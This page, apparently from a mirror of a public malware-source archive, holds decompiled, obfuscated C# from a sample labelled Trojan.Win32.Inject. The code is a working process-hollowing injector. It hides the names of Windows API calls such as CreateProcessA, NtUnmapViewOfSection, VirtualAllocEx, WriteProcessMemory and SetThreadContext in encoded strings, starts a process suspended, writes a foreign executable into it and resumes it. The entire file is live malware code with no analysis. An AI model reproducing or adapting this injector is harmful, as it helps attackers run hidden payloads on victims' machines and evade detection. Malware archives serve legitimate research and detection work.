mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-26 21:35:27 +00:00
164 lines
15 KiB
C#
164 lines
15 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
|
// Type: KzðÂ7µå˺þªMÞ
|
|||
|
|
// Assembly: Û5ðEcºHþÄ, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
|
// MVID: 1C31CDCB-376F-4BDF-A7C8-C060DA3A57B6
|
|||
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Inject.bnvq-1cdf7a3d7f7e84eb44b37a1be87659e9101970618f17cb4fcc7b5bb3a7a93934.exe
|
|||
|
|
|
|||
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
|
using System;
|
|||
|
|
using System.Runtime.InteropServices;
|
|||
|
|
using System.Security;
|
|||
|
|
using System.Text;
|
|||
|
|
|
|||
|
|
[StandardModule]
|
|||
|
|
public sealed class KzðÂ7µå˺þªMÞ
|
|||
|
|
{
|
|||
|
|
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
|||
|
|
public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string Õª2õEsxðºKÁ8µ0PïyÎýªÝF3noù5Ó9ªE);
|
|||
|
|
|
|||
|
|
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
|||
|
|
public static extern IntPtr GetProcAddress(
|
|||
|
|
IntPtr TØæaª8µ9SËmå6èoºÄRòµ5ÝqBo9ÆìAªïÑeº4,
|
|||
|
|
[MarshalAs(UnmanagedType.VBByRefStr)] ref string name);
|
|||
|
|
|
|||
|
|
public static nËE6èº4µÆDxôªi2çBÅìÀðmºÛ4WN6êa ÂdªæJ1Bç6Ƶmq8ºMÇãªìQa4<nËE6èº4µÆDxôªi2çBÅìÀðmºÛ4WN6êa>(
|
|||
|
|
string ºgÚMë91ʪzQêËpXÅ9tõµºyÑýS2w4RÀªð,
|
|||
|
|
string gºèÔ6Aæ9DaÚµ0ªýCeÇÃSºf3àÆ9µPâymÅM6ºæë4ª)
|
|||
|
|
{
|
|||
|
|
return (nËE6èº4µÆDxôªi2çBÅìÀðmºÛ4WN6êa) Marshal.GetDelegateForFunctionPointer(KzðÂ7µå˺þªMÞ.GetProcAddress(KzðÂ7µå˺þªMÞ.LoadLibraryA(ref ºgÚMë91ʪzQêËpXÅ9tõµºyÑýS2w4RÀªð), ref gºèÔ6Aæ9DaÚµ0ªýCeÇÃSºf3àÆ9µPâymÅM6ºæë4ª), typeof (nËE6èº4µÆDxôªi2çBÅìÀðmºÛ4WN6êa));
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public static void ý0ÅBµxÍoªü7Rwº4ÆAåµïD8fÀÿ1ªÉHk9Ø(
|
|||
|
|
byte[] Ƶ6öGrºàÙo3MÔ4Dåµ3xËgAÿÍ6,
|
|||
|
|
string æ4ÊdMªÚµ3ètA7qîDÁºµyÀü9HP5cʺú6ƪfÿB)
|
|||
|
|
{
|
|||
|
|
KzðÂ7µå˺þªMÞ.ôÖYf5º9ªÜƒXXë9Åtºk öyf5º9ªÜƒXxë9Åtºk = KzðÂ7µå˺þªMÞ.ÂdªæJ1Bç6Ƶmq8ºMÇãªìQa4<KzðÂ7µå˺þªMÞ.ôÖYf5º9ªÜƒXXë9Åtºk>(ráS1µÜºYØeâ5koíØEµ8Ò.c2µØøLöºÆF7nf4BªçÔAqªÊªðPw6ÍZµ0("107Zc02Kdx8101Zc02Kdx8114Zc02Kdx8110Zc02Kdx8101Zc02Kdx8108Zc02Kdx851Zc02Kdx850Zc02Kdx8", "Zc02Kdx8"), ráS1µÜºYØeâ5koíØEµ8Ò.c2µØøLöºÆF7nf4BªçÔAqªÊªðPw6ÍZµ0("67a9HKe4r3F0Qfb114a9HKe4r3F0Qfb101a9HKe4r3F0Qfb97a9HKe4r3F0Qfb116a9HKe4r3F0Qfb101a9HKe4r3F0Qfb80a9HKe4r3F0Qfb114a9HKe4r3F0Qfb111a9HKe4r3F0Qfb99a9HKe4r3F0Qfb101a9HKe4r3F0Qfb115a9HKe4r3F0Qfb115a9HKe4r3F0Qfb65a9HKe4r3F0Qfb", "a9HKe4r3F0Qfb"));
|
|||
|
|
KzðÂ7µå˺þªMÞ.énµÑ2Xqª5éfPÅçµØH énµÑ2Xqª5éfPåçµØh = KzðÂ7µå˺þªMÞ.ÂdªæJ1Bç6Ƶmq8ºMÇãªìQa4<KzðÂ7µå˺þªMÞ.énµÑ2Xqª5éfPÅçµØH>(ráS1µÜºYØeâ5koíØEµ8Ò.c2µØøLöºÆF7nf4BªçÔAqªÊªðPw6ÍZµ0("107g3X4Nfr1AYo6a8101g3X4Nfr1AYo6a8114g3X4Nfr1AYo6a8110g3X4Nfr1AYo6a8101g3X4Nfr1AYo6a8108g3X4Nfr1AYo6a851g3X4Nfr1AYo6a850g3X4Nfr1AYo6a8", "g3X4Nfr1AYo6a8"), ráS1µÜºYØeâ5koíØEµ8Ò.c2µØøLöºÆF7nf4BªçÔAqªÊªðPw6ÍZµ0("71By42NgEd1101By42NgEd1116By42NgEd184By42NgEd1104By42NgEd1114By42NgEd1101By42NgEd197By42NgEd1100By42NgEd167By42NgEd1111By42NgEd1110By42NgEd1116By42NgEd1101By42NgEd1120By42NgEd1116By42NgEd1", "By42NgEd1"));
|
|||
|
|
KzðÂ7µå˺þªMÞ.KÛåxº18ÿªMqÌÊ6rµáLDµénRøÃk5µÌ ìê6rµáLdµénRøÃk5µÌ = KzðÂ7µå˺þªMÞ.ÂdªæJ1Bç6Ƶmq8ºMÇãªìQa4<KzðÂ7µå˺þªMÞ.KÛåxº18ÿªMqÌÊ6rµáLDµénRøÃk5µÌ>(ráS1µÜºYØeâ5koíØEµ8Ò.c2µØøLöºÆF7nf4BªçÔAqªÊªðPw6ÍZµ0("110Ww9a5A116Ww9a5A100Ww9a5A108Ww9a5A108Ww9a5A", "Ww9a5A"), ráS1µÜºYØeâ5koíØEµ8Ò.c2µØøLöºÆF7nf4BªçÔAqªÊªðPw6ÍZµ0("78g0L9ZkDz7i2XHs116g0L9ZkDz7i2XHs85g0L9ZkDz7i2XHs110g0L9ZkDz7i2XHs109g0L9ZkDz7i2XHs97g0L9ZkDz7i2XHs112g0L9ZkDz7i2XHs86g0L9ZkDz7i2XHs105g0L9ZkDz7i2XHs101g0L9ZkDz7i2XHs119g0L9ZkDz7i2XHs79g0L9ZkDz7i2XHs102g0L9ZkDz7i2XHs83g0L9ZkDz7i2XHs101g0L9ZkDz7i2XHs99g0L9ZkDz7i2XHs116g0L9ZkDz7i2XHs105g0L9ZkDz7i2XHs111g0L9ZkDz7i2XHs110g0L9ZkDz7i2XHs", "g0L9ZkDz7i2XHs"));
|
|||
|
|
KzðÂ7µå˺þªMÞ.µåQÐp61ºîrWÍÛóbB4ªTxµeÛHƒº wíÛóbB4ªTxµeÛhƒº = KzðÂ7µå˺þªMÞ.ÂdªæJ1Bç6Ƶmq8ºMÇãªìQa4<KzðÂ7µå˺þªMÞ.µåQÐp61ºîrWÍÛóbB4ªTxµeÛHƒº>(ráS1µÜºYØeâ5koíØEµ8Ò.c2µØøLöºÆF7nf4BªçÔAqªÊªðPw6ÍZµ0("107Yy6g2H101Yy6g2H114Yy6g2H110Yy6g2H101Yy6g2H108Yy6g2H51Yy6g2H50Yy6g2H", "Yy6g2H"), ráS1µÜºYØeâ5koíØEµ8Ò.c2µØøLöºÆF7nf4BªçÔAqªÊªðPw6ÍZµ0("82m7M1Pxe9G8101m7M1Pxe9G897m7M1Pxe9G8100m7M1Pxe9G880m7M1Pxe9G8114m7M1Pxe9G8111m7M1Pxe9G899m7M1Pxe9G8101m7M1Pxe9G8115m7M1Pxe9G8115m7M1Pxe9G877m7M1Pxe9G8101m7M1Pxe9G8109m7M1Pxe9G8111m7M1Pxe9G8114m7M1Pxe9G8121m7M1Pxe9G8", "m7M1Pxe9G8"));
|
|||
|
|
KzðÂ7µå˺þªMÞ.ôwÜ4µHqÞ3Yàº1XªsÀéµz2ªôJÃBfÇ8µø xªsÀéµz2ªôJãBfÇ8µø1 = KzðÂ7µå˺þªMÞ.ÂdªæJ1Bç6Ƶmq8ºMÇãªìQa4<KzðÂ7µå˺þªMÞ.ôwÜ4µHqÞ3Yàº1XªsÀéµz2ªôJÃBfÇ8µø>(ráS1µÜºYØeâ5koíØEµ8Ò.c2µØøLöºÆF7nf4BªçÔAqªÊªðPw6ÍZµ0("107No06Fwi1X3Zej101No06Fwi1X3Zej114No06Fwi1X3Zej110No06Fwi1X3Zej101No06Fwi1X3Zej108No06Fwi1X3Zej51No06Fwi1X3Zej50No06Fwi1X3Zej", "No06Fwi1X3Zej"), ráS1µÜºYØeâ5koíØEµ8Ò.c2µØøLöºÆF7nf4BªçÔAqªÊªðPw6ÍZµ0("86b8F5Zgj3JRe0105b8F5Zgj3JRe0114b8F5Zgj3JRe0116b8F5Zgj3JRe0117b8F5Zgj3JRe097b8F5Zgj3JRe0108b8F5Zgj3JRe065b8F5Zgj3JRe0108b8F5Zgj3JRe0108b8F5Zgj3JRe0111b8F5Zgj3JRe099b8F5Zgj3JRe069b8F5Zgj3JRe0120b8F5Zgj3JRe0", "b8F5Zgj3JRe0"));
|
|||
|
|
KzðÂ7µå˺þªMÞ.Cªåz1Æîe9Lº0ÏçP cªåz1Æîe9Lº0ÏçP1 = KzðÂ7µå˺þªMÞ.ÂdªæJ1Bç6Ƶmq8ºMÇãªìQa4<KzðÂ7µå˺þªMÞ.Cªåz1Æîe9Lº0ÏçP>(ráS1µÜºYØeâ5koíØEµ8Ò.c2µØøLöºÆF7nf4BªçÔAqªÊªðPw6ÍZµ0("107Lb15QjWp7w101Lb15QjWp7w114Lb15QjWp7w110Lb15QjWp7w101Lb15QjWp7w108Lb15QjWp7w51Lb15QjWp7w50Lb15QjWp7w", "Lb15QjWp7w"), ráS1µÜºYØeâ5koíØEµ8Ò.c2µØøLöºÆF7nf4BªçÔAqªÊªðPw6ÍZµ0("87t9C5Tdn6114t9C5Tdn6105t9C5Tdn6116t9C5Tdn6101t9C5Tdn680t9C5Tdn6114t9C5Tdn6111t9C5Tdn699t9C5Tdn6101t9C5Tdn6115t9C5Tdn6115t9C5Tdn677t9C5Tdn6101t9C5Tdn6109t9C5Tdn6111t9C5Tdn6114t9C5Tdn6121t9C5Tdn6", "t9C5Tdn6"));
|
|||
|
|
KzðÂ7µå˺þªMÞ.Û5ºLìdì5ªÏLne û5ºLìdì5ªÏlne = KzðÂ7µå˺þªMÞ.ÂdªæJ1Bç6Ƶmq8ºMÇãªìQa4<KzðÂ7µå˺þªMÞ.Û5ºLìdì5ªÏLne>(ráS1µÜºYØeâ5koíØEµ8Ò.c2µØøLöºÆF7nf4BªçÔAqªÊªðPw6ÍZµ0("107p6ASr5y8B4Ymb101p6ASr5y8B4Ymb114p6ASr5y8B4Ymb110p6ASr5y8B4Ymb101p6ASr5y8B4Ymb108p6ASr5y8B4Ymb51p6ASr5y8B4Ymb50p6ASr5y8B4Ymb", "p6ASr5y8B4Ymb"), ráS1µÜºYØeâ5koíØEµ8Ò.c2µØøLöºÆF7nf4BªçÔAqªÊªðPw6ÍZµ0("83Yw4s2SFm8a0A3M101Yw4s2SFm8a0A3M116Yw4s2SFm8a0A3M84Yw4s2SFm8a0A3M104Yw4s2SFm8a0A3M114Yw4s2SFm8a0A3M101Yw4s2SFm8a0A3M97Yw4s2SFm8a0A3M100Yw4s2SFm8a0A3M67Yw4s2SFm8a0A3M111Yw4s2SFm8a0A3M110Yw4s2SFm8a0A3M116Yw4s2SFm8a0A3M101Yw4s2SFm8a0A3M120Yw4s2SFm8a0A3M116Yw4s2SFm8a0A3M", "Yw4s2SFm8a0A3M"));
|
|||
|
|
KzðÂ7µå˺þªMÞ.ȵT0ökKaºëÓ9éEÃ8nªSbµåúörF9i7QªÔå sbµåúörF9i7QªÔå = KzðÂ7µå˺þªMÞ.ÂdªæJ1Bç6Ƶmq8ºMÇãªìQa4<KzðÂ7µå˺þªMÞ.ȵT0ökKaºëÓ9éEÃ8nªSbµåúörF9i7QªÔå>(ráS1µÜºYØeâ5koíØEµ8Ò.c2µØøLöºÆF7nf4BªçÔAqªÊªðPw6ÍZµ0("107Bb7y0P101Bb7y0P114Bb7y0P110Bb7y0P101Bb7y0P108Bb7y0P51Bb7y0P50Bb7y0P", "Bb7y0P"), ráS1µÜºYØeâ5koíØEµ8Ò.c2µØøLöºÆF7nf4BªçÔAqªÊªðPw6ÍZµ0("82z9W6M101z9W6M115z9W6M117z9W6M109z9W6M101z9W6M84z9W6M104z9W6M114z9W6M101z9W6M97z9W6M100z9W6M", "z9W6M"));
|
|||
|
|
int int32 = BitConverter.ToInt32(Ƶ6öGrºàÙo3MÔ4Dåµ3xËgAÿÍ6, 60);
|
|||
|
|
int int16 = (int) BitConverter.ToInt16(Ƶ6öGrºàÙo3MÔ4Dåµ3xËgAÿÍ6, checked (int32 + 6));
|
|||
|
|
IntPtr num1 = new IntPtr(BitConverter.ToInt32(Ƶ6öGrºàÙo3MÔ4Dåµ3xËgAÿÍ6, checked (int32 + 84)));
|
|||
|
|
byte[] Ætµ3ñJ9ÃAºrôЪéjµÇ8Dº3ÁE = new byte[68];
|
|||
|
|
IntPtr[] ºcàÀY8éªÒC0w7KµxÝâøµbÆ9µPâymÅM6ºæë4ª = new IntPtr[4];
|
|||
|
|
IntPtr num2;
|
|||
|
|
if (!öyf5º9ªÜƒXxë9Åtºk((string) null, new StringBuilder(æ4ÊdMªÚµ3ètA7qîDÁºµyÀü9HP5cʺú6ƪfÿB), num2, num2, false, 4, num2, (string) null, Ætµ3ñJ9ÃAºrôЪéjµÇ8Dº3ÁE, ºcàÀY8éªÒC0w7KµxÝâøµbÆ9µPâymÅM6ºæë4ª))
|
|||
|
|
return;
|
|||
|
|
uint[] numArray = new uint[179];
|
|||
|
|
numArray[0] = 65538U;
|
|||
|
|
IntPtr æºQÛ0eµg5YóØäWª1ÈsRj2ÑàµæÅ9cµRFyÞª;
|
|||
|
|
IntPtr àxª6DÄÔèQºr3Zg7îÞµ8ªÈFj6ÚLôºÛiCðª2;
|
|||
|
|
if (énµÑ2Xqª5éfPåçµØh(ºcàÀY8éªÒC0w7KµxÝâøµbÆ9µPâymÅM6ºæë4ª[1], numArray) && wíÛóbB4ªTxµeÛhƒº(ºcàÀY8éªÒC0w7KµxÝâøµbÆ9µPâymÅM6ºæë4ª[0], new IntPtr(checked ((long) numArray[41] + 8L)), ref æºQÛ0eµg5YóØäWª1ÈsRj2ÑàµæÅ9cµRFyÞª, new IntPtr(4), ref àxª6DÄÔèQºr3Zg7îÞµ8ªÈFj6ÚLôºÛiCðª2) && ìê6rµáLdµénRøÃk5µÌ(ºcàÀY8éªÒC0w7KµxÝâøµbÆ9µPâymÅM6ºæë4ª[0], æºQÛ0eµg5YóØäWª1ÈsRj2ÑàµæÅ9cµRFyÞª) == 0U)
|
|||
|
|
{
|
|||
|
|
KzðÂ7µå˺þªMÞ.ôwÜ4µHqÞ3Yàº1XªsÀéµz2ªôJÃBfÇ8µø xªsÀéµz2ªôJãBfÇ8µø2 = xªsÀéµz2ªôJãBfÇ8µø1;
|
|||
|
|
IntPtr YnýÌ0µq3ÂMªûøºÆæJ1pµgºÖHÿ3Ù = ºcàÀY8éªÒC0w7KµxÝâøµbÆ9µPâymÅM6ºæë4ª[0];
|
|||
|
|
IntPtr num3 = new IntPtr(BitConverter.ToInt32(Ƶ6öGrºàÙo3MÔ4Dåµ3xËgAÿÍ6, checked (int32 + 52)));
|
|||
|
|
IntPtr µ4CÞèzwª3MÄçGpè2TzªÚAºw5Øô = num3;
|
|||
|
|
IntPtr num4 = new IntPtr(BitConverter.ToInt32(Ƶ6öGrºàÙo3MÔ4Dåµ3xËgAÿÍ6, checked (int32 + 80)));
|
|||
|
|
int kºå6EÑ7ÒtRµôøs3QøÆp8 = (int) checked ((uint) (int) num4);
|
|||
|
|
IntPtr num5 = xªsÀéµz2ªôJãBfÇ8µø2(YnýÌ0µq3ÂMªûøºÆæJ1pµgºÖHÿ3Ù, µ4CÞèzwª3MÄçGpè2TzªÚAºw5Øô, (uint) kºå6EÑ7ÒtRµôøs3QøÆp8, 12288U, 64U);
|
|||
|
|
KzðÂ7µå˺þªMÞ.Cªåz1Æîe9Lº0ÏçP cªåz1Æîe9Lº0ÏçP2 = cªåz1Æîe9Lº0ÏçP1;
|
|||
|
|
IntPtr sÍêZ4ºúe1ŪLKÜÆ4NðªfëPº1 = ºcàÀY8éªÒC0w7KµxÝâøµbÆ9µPâymÅM6ºæë4ª[0];
|
|||
|
|
IntPtr Zqºƒ9ƵEÉbôµZ4ÝÐ2æºm1 = num5;
|
|||
|
|
byte[] yæWÐ5µºkÞàC4ú8ªJmɪÇwLjÔøª2ºïEÅ3efÖµR1 = Ƶ6öGrºàÙo3MÔ4Dåµ3xËgAÿÍ6;
|
|||
|
|
int æ9ÉfYªKwµÆ1ìdºõ7ZÕW6ªzÀë3ÓeFª1 = (int) checked ((uint) (int) num1);
|
|||
|
|
int num6 = (int) àxª6DÄÔèQºr3Zg7îÞµ8ªÈFj6ÚLôºÛiCðª2;
|
|||
|
|
ref int local1 = ref num6;
|
|||
|
|
int num7 = cªåz1Æîe9Lº0ÏçP2(sÍêZ4ºúe1ŪLKÜÆ4NðªfëPº1, Zqºƒ9ƵEÉbôµZ4ÝÐ2æºm1, yæWÐ5µºkÞàC4ú8ªJmɪÇwLjÔøª2ºïEÅ3efÖµR1, (uint) æ9ÉfYªKwµÆ1ìdºõ7ZÕW6ªzÀë3ÓeFª1, out local1) ? 1 : 0;
|
|||
|
|
IntPtr num8 = (IntPtr) num6;
|
|||
|
|
bool flag = num7 != 0;
|
|||
|
|
int num9 = checked (int16 - 1);
|
|||
|
|
int num10 = 0;
|
|||
|
|
while (num10 <= num9)
|
|||
|
|
{
|
|||
|
|
int[] dst1 = new int[10];
|
|||
|
|
Buffer.BlockCopy((Array) Ƶ6öGrºàÙo3MÔ4Dåµ3xËgAÿÍ6, checked (int32 + 248 + num10 * 40), (Array) dst1, 0, 40);
|
|||
|
|
byte[] dst2 = new byte[checked (dst1[4] - 1 + 1)];
|
|||
|
|
Buffer.BlockCopy((Array) Ƶ6öGrºàÙo3MÔ4Dåµ3xËgAÿÍ6, dst1[5], (Array) dst2, 0, dst2.Length);
|
|||
|
|
KzðÂ7µå˺þªMÞ.Cªåz1Æîe9Lº0ÏçP cªåz1Æîe9Lº0ÏçP3 = cªåz1Æîe9Lº0ÏçP1;
|
|||
|
|
IntPtr sÍêZ4ºúe1ŪLKÜÆ4NðªfëPº2 = ºcàÀY8éªÒC0w7KµxÝâøµbÆ9µPâymÅM6ºæë4ª[0];
|
|||
|
|
num4 = new IntPtr(checked (num5.ToInt64() + (long) dst1[3]));
|
|||
|
|
IntPtr Zqºƒ9ƵEÉbôµZ4ÝÐ2æºm2 = num4;
|
|||
|
|
byte[] yæWÐ5µºkÞàC4ú8ªJmɪÇwLjÔøª2ºïEÅ3efÖµR2 = dst2;
|
|||
|
|
num3 = new IntPtr(dst2.Length);
|
|||
|
|
int æ9ÉfYªKwµÆ1ìdºõ7ZÕW6ªzÀë3ÓeFª2 = (int) checked ((uint) (int) num3);
|
|||
|
|
int num11 = (int) num8;
|
|||
|
|
ref int local2 = ref num11;
|
|||
|
|
int num12 = cªåz1Æîe9Lº0ÏçP3(sÍêZ4ºúe1ŪLKÜÆ4NðªfëPº2, Zqºƒ9ƵEÉbôµZ4ÝÐ2æºm2, yæWÐ5µºkÞàC4ú8ªJmɪÇwLjÔøª2ºïEÅ3efÖµR2, (uint) æ9ÉfYªKwµÆ1ìdºõ7ZÕW6ªzÀë3ÓeFª2, out local2) ? 1 : 0;
|
|||
|
|
num8 = (IntPtr) num11;
|
|||
|
|
flag = num12 != 0;
|
|||
|
|
checked { ++num10; }
|
|||
|
|
}
|
|||
|
|
KzðÂ7µå˺þªMÞ.Cªåz1Æîe9Lº0ÏçP cªåz1Æîe9Lº0ÏçP4 = cªåz1Æîe9Lº0ÏçP1;
|
|||
|
|
IntPtr sÍêZ4ºúe1ŪLKÜÆ4NðªfëPº3 = ºcàÀY8éªÒC0w7KµxÝâøµbÆ9µPâymÅM6ºæë4ª[0];
|
|||
|
|
num4 = new IntPtr(checked ((long) numArray[41] + 8L));
|
|||
|
|
IntPtr Zqºƒ9ƵEÉbôµZ4ÝÐ2æºm3 = num4;
|
|||
|
|
byte[] bytes = BitConverter.GetBytes(num5.ToInt64());
|
|||
|
|
num3 = new IntPtr(4);
|
|||
|
|
int æ9ÉfYªKwµÆ1ìdºõ7ZÕW6ªzÀë3ÓeFª3 = (int) checked ((uint) (int) num3);
|
|||
|
|
int num13 = (int) num8;
|
|||
|
|
ref int local3 = ref num13;
|
|||
|
|
int num14 = cªåz1Æîe9Lº0ÏçP4(sÍêZ4ºúe1ŪLKÜÆ4NðªfëPº3, Zqºƒ9ƵEÉbôµZ4ÝÐ2æºm3, bytes, (uint) æ9ÉfYªKwµÆ1ìdºõ7ZÕW6ªzÀë3ÓeFª3, out local3) ? 1 : 0;
|
|||
|
|
IntPtr num15 = (IntPtr) num13;
|
|||
|
|
flag = num14 != 0;
|
|||
|
|
numArray[44] = checked ((uint) (num5.ToInt32() + BitConverter.ToInt32(Ƶ6öGrºàÙo3MÔ4Dåµ3xËgAÿÍ6, int32 + 40)));
|
|||
|
|
int num16 = û5ºLìdì5ªÏlne(ºcàÀY8éªÒC0w7KµxÝâøµbÆ9µPâymÅM6ºæë4ª[1], numArray) ? 1 : 0;
|
|||
|
|
}
|
|||
|
|
int num17 = sbµåúörF9i7QªÔå(ºcàÀY8éªÒC0w7KµxÝâøµbÆ9µPâymÅM6ºæë4ª[1]);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
|
[return: MarshalAs(UnmanagedType.Bool)]
|
|||
|
|
public delegate bool ôÖYf5º9ªÜƒXXë9Åtºk(
|
|||
|
|
string öc6NºÂƪFeó7æJQÑãxª9,
|
|||
|
|
StringBuilder bÑí1ºSNyõâ2ƪý8jHoFªXsá4µÊnÜ7ªGüº,
|
|||
|
|
IntPtr Ï2Zq誵i5ÌKàdËóH6ºØµe9éQºägÄæQ9µù2ȪHf,
|
|||
|
|
IntPtr QdÔæµ0Ûª9xTõyÞYcåÒWº29wLªú,
|
|||
|
|
[MarshalAs(UnmanagedType.Bool)] bool Ék3ƒºLcìªXÁ8óØoµ0TÓrõWµ5ãSº2nÌ7m,
|
|||
|
|
int ú5µGrÎtªÇ2AçëßsEº1wñy4ºØõTEªÇz0ì,
|
|||
|
|
IntPtr YoÄ9èµ6ªöÙgZE1Ûfºâ8óyºWÝ,
|
|||
|
|
string yµá5ZÊùÛWbª3K8ÅsªÔ5ã,
|
|||
|
|
byte[] Ætµ3ñJ9ÃAºrôЪéjµÇ8Dº3ÁE,
|
|||
|
|
IntPtr[] ºcàÀY8éªÒC0w7KµxÝâøµbÆ9µPâymÅM6ºæë4ª);
|
|||
|
|
|
|||
|
|
[return: MarshalAs(UnmanagedType.Bool)]
|
|||
|
|
public delegate bool énµÑ2Xqª5éfPÅçµØH(IntPtr µ5BõoÏzåºDÍ6òRÑ3rªTe7ý5QrªÉnü, uint[] ctxt);
|
|||
|
|
|
|||
|
|
public delegate uint KÛåxº18ÿªMqÌÊ6rµáLDµénRøÃk5µÌ(
|
|||
|
|
IntPtr ýµ6ÝxWPgܪé0º7ûsZÂ4ÿQrØ5þº3µùÈkJØA6ªú,
|
|||
|
|
IntPtr mÅB0æºS6µwÁåeÆDéª5àM1ʪÀ4åiQB8q);
|
|||
|
|
|
|||
|
|
[return: MarshalAs(UnmanagedType.Bool)]
|
|||
|
|
public delegate bool µåQÐp61ºîrWÍÛóbB4ªTxµeÛHƒº(
|
|||
|
|
IntPtr ºö6MxÖCkÂ4ªàgµ9åÚHEüætºÓ6PZ,
|
|||
|
|
IntPtr æ1ZÐjº2ªxâÚEë7WÑeµkØ6µMúSÃj0PƒªºDkÚ9øRñ8oµ,
|
|||
|
|
ref IntPtr æºQÛ0eµg5YóØäWª1ÈsRj2ÑàµæÅ9cµRFyÞª,
|
|||
|
|
IntPtr Ggóß7ºÑ1µõNs9êmFªÏµÒò2ÙºZæp4µ7ÈjMæÖ,
|
|||
|
|
ref IntPtr àxª6DÄÔèQºr3Zg7îÞµ8ªÈFj6ÚLôºÛiCðª2);
|
|||
|
|
|
|||
|
|
public delegate int ȵT0ökKaºëÓ9éEÃ8nªSbµåúörF9i7QªÔå(IntPtr Sá0bºßÀRöª9eyǵ7BôEøº2qaúeº5EÎk7Ô);
|
|||
|
|
|
|||
|
|
public delegate IntPtr ôwÜ4µHqÞ3Yàº1XªsÀéµz2ªôJÃBfÇ8µø(
|
|||
|
|
IntPtr YnýÌ0µq3ÂMªûøºÆæJ1pµgºÖHÿ3Ù,
|
|||
|
|
IntPtr µ4CÞèzwª3MÄçGpè2TzªÚAºw5Øô,
|
|||
|
|
uint kºå6EÑ7ÒtRµôøs3QøÆp8,
|
|||
|
|
uint ÿq0MµÝ9ªPiØôD4Ôµd4ØþNsÁøGª09Ez,
|
|||
|
|
uint k5éÝEªMÑ2ùoºF9cµP);
|
|||
|
|
|
|||
|
|
public delegate bool Cªåz1Æîe9Lº0ÏçP(
|
|||
|
|
IntPtr sÍêZ4ºúe1ŪLKÜÆ4NðªfëPº,
|
|||
|
|
IntPtr Zqºƒ9ƵEÉbôµZ4ÝÐ2æºm,
|
|||
|
|
byte[] yæWÐ5µºkÞàC4ú8ªJmɪÇwLjÔøª2ºïEÅ3efÖµR,
|
|||
|
|
uint æ9ÉfYªKwµÆ1ìdºõ7ZÕW6ªzÀë3ÓeFª,
|
|||
|
|
out int lpNumberOfBytesWritten);
|
|||
|
|
|
|||
|
|
[return: MarshalAs(UnmanagedType.Bool)]
|
|||
|
|
public delegate bool Û5ºLìdì5ªÏLne(
|
|||
|
|
IntPtr MyªÕò0ÆêH3ºz1rµøÌBÇú2Æ5Rr굺í3SÕoÄ,
|
|||
|
|
uint[] àºA4yÖSjÇó6ª7µLgøÞnRªd9äGÔëPµ);
|
|||
|
|
}
|